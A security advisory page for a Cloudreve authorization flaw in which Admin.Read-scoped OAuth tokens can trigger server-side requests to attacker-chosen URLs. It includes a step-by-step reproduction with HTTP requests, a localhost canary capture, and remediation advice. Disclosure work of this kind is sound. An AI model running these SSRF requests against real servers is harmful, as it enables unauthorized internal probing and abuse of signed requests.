🛡️ GHSA-v6w6-358x-2433 — cloudreve

⚪ Unknown ✅ No Known Exploit CWE-863 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests

Summary

Cloudreve exposes two admin node test endpoints under the Admin.Read OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for Admin.Read to trigger operational network actions that should require Admin.Write.

Impact

An attacker who obtains an admin-authorized OAuth token with Admin.Read but not Admin.Write can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

The authenticated admin route group requires only Admin.Read:

```go

auth := v4.Group("")

auth.Use(middleware.LoginRequired())

auth.Use(middleware.RequiredScopes(types.ScopeAdminRead))

admin := auth.Group("admin", middleware.IsAdmin())

```

The following routes are registered without ScopeAdminWrite:

```go

node.POST("test",

controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),

controllers.AdminTestSlave,

)

node.POST("test/downloader",

controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),

controllers.AdminTestDownloader,

)

```

By contrast, node create, update, and delete routes do require Admin.Write:

```go

node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

```

TestNodeService.Test() parses the attacker-supplied node server and sends a request to it:

```go

slave, err := url.Parse(service.Node.Server)

...

res, err := r.Request(

"POST",

routes.SlavePingRoute(slave),

bytes.NewReader(bodyByte),

...

)

```

TestNodeDownloaderService.Test() constructs a downloader from attacker-supplied node settings and invokes its network test method.

Reproduction

The following was verified against a disposable Cloudreve instance built from the affected commit.

Prerequisite: an admin user authorizes an OAuth client with Admin.Read but not Admin.Write.

1. Obtain an OAuth access token whose scope is only:

```text

openid Admin.Read

```

The returned token response contains:

```json

{

"token_type": "Bearer",

"scope": "openid Admin.Read"

}

```

2. Confirm the token cannot perform an Admin.Write node operation:

```http

PUT /api/v4/admin/node HTTP/1.1

Authorization: Bearer <admin-read-oauth-token>

Content-Type: application/json

{

"node": {

"name": "deny-control",

"server": "http://127.0.0.1:18080",

"type": "slave",

"slave_key": "poc"

}

}

```

Observed response:

```json

{

"code": 40089,

"msg": "Insufficient scope: Admin.Write"

}

```

3. Use the same Admin.Read-only OAuth token to call the node test endpoint with an attacker-controlled server URL:

```http

POST /api/v4/admin/node/test HTTP/1.1

Authorization: Bearer <admin-read-oauth-token>

Content-Type: application/json

{

"node": {

"id": 124,

"name": "ssrf-poc",

"server": "http://127.0.0.1:18080",

"type": "slave",

"slave_key": "attacker-controlled-key"

}

}

```

Observed Cloudreve response:

```json

{

"code": 0,

"msg": ""

}

```

4. The canary server at 127.0.0.1:18080 received the backend request:

```http

POST /api/v4/slave/ping HTTP/1.1

Host: 127.0.0.1:18080

User-Agent: Cloudreve/4.14.0

Authorization: Bearer Cr <hmac-signature>:<timestamp>

X-Cr-Node-Id: 124

X-Cr-Site-Url: http://127.0.0.1:15212

Content-Length: 37

{"callback":"http://127.0.0.1:15212"}

```

This proves the Admin.Read-only OAuth token is denied on a sibling Admin.Write route but can still trigger a server-side request to an attacker-selected node URL through the test route.

Root cause

The route group enforces Admin.Read by default and relies on per-route Admin.Write middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the Admin.Write set even though they execute server-side network actions using attacker-supplied configuration.

Remediation

  • Add middleware.RequiredScopes(types.ScopeAdminWrite) to both node test routes.
  • Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.
  • Audit other admin test endpoints for read-scoped side effects.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability low.

Weakness class

GHSA-v6w6-358x-2433 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

GHSA-v6w6-358x-2433 is recorded against 2 packages.

  • github.com/cloudreve/cloudreve/v3
  • github.com/cloudreve/cloudreve/v4

Timeline and source

Published on 24 July 2026 and last revised on 18 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
CWE CWE-863
Public Exploit ✅ No
Source OSV
Published 2026-07-24
Updated 2026-08-20
Modified 2026-08-18
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/cloudreve/cloudreve/v3
github.com/cloudreve/cloudreve/v4

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-v6w6-358x-2433?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-v6w6-358x-2433 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated